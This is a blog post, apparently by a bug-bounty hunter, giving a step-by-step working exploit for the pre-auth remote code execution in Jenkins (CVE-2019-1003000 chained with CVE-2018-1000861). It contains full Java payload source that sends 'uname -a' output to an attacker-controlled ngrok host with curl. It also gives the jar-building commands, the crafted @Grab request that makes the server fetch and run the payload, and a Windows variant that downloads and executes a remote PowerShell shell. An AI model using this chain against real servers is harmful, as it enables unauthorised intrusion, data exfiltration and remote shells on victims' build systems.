Jenkins RCE PoC or simple pre-auth remote code execution on the Server.

Once upon a time, a friend of mine asked me a question — "Do you know any fresh RCE for the Jenkins environment ?". I was informed already about some old RCE PoC's but that was not what we need at that time. It was a fresh Jenkins environment. With a quick search, I realized that it was discovered fresh vulnerability CVE-2019–1003000. Big thanks Orangetsai Tsai for such clear and interesting research from his blog. So I tried to understand his research with trying to make the right POC on our target.

I can't disclose the name of the target. RCE vulnerability was exploitable and here I can share how it was from my perspective. The root of the problem was in Pipeline feature, which makes writing scripts for software building, testing and delivering easier in Jenkins. The researcher found exploit chain utilizing CVE-2018–1000861 and CVE-2019–1003000 which bypass the need of Overall/Read permission for a pre-auth RCE. I will not share a deep understanding of that issue. If you really want this — just go to the Orange blog post. It's really interesting to understand and learn!

So, First I did a quick check to verify that issue still there. For such a thing, all you need to do is just going to:

http://example.com/jenkins/securityRealm/user/admin/

In response we should see "200 ok" with something like this:

Jenkins User Id: admin

So it means that we could be ready for making normal PoC on that environment. If you are lazy to reproduce all steps — just have fun with such a repository. But I did all the steps manually.

  1. Saved that code as Orange.java:
public class Orange {
public Orange(){
try {
String payload = "uname -a | curl -d @- http://myservertunnel.ngrok.io/";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}

As you see as proof of concept for executing something on the server I chose that:

uname -a | curl -d @- http://myservertunnel.ngrok.io/

2. Next, you need to compile the java*:

javac -target 1.8 Orange.java

I did “-target 1.8” because it was an issue with java classes on my Jenkins server. It’s always returned to me an error:

“exploit” has been compiled by a more recent version of the Java Runtime (class file version 54.0), this version of the Java Runtime only recognizes class file versions up to 52.0

Seems that when I tried to attack with compiled payload — it’s always failed with java 10 where it was expected to have java 8. Flag “-target 1.8” resolved that issue.

3. Execute — mkdir -p META-INF/services/

4. Execute — echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners

5. With executing that command "find ." you should see that structure:

./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

6. Execute — jar cvf poc-1.jar ./Orange.class ./META-INF/

That's how you bundle all things into a jar.

Just screenshot of all required steps to make your POC (without -target 1.8)

7. Make such folders /tw/orange/poc/1/ and put your compiled poc-1.jar to /tw/orange/poc/1/

8. After all, I ran local PHP server with command "php -S localhost:8080" and made it public with ngrok tunnel.

9. The final step was to make such GET request on my target:

http://example.com/jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://myservertunnel.ngrok.io/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;

and in the response, you will see that:

{
"column": 0,
"line": 0,
"message": "",
"status": "success"
}

A few seconds later I detected incoming request with executed command in the request body from the server.

Command was executed successfully and we have valid RCE. The vulnerability report was made. The experience was reached :)

If you have a problem with executing commands on Windows environment — you can Invoke a Nishang powershell in Orange.java file:

public class Orange {
public Orange(){
try {
String payload = "powershell iex(new-object net.webclient).downloadstring('http://yourserver.com/shell.ps1')";
String[] cmds = {"cmd", "/c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}

PS: Click 👏 “Clapping Hands” icon if you like this article 😉

If you need to auditing, collaboration and testing some projects, please get in touch with me: http://t.me/valyaroller. I like to be helpful and have valuable findings.

References

I am a guy passionate about testing and security researching 👨‍💻 → t.me/valyaroller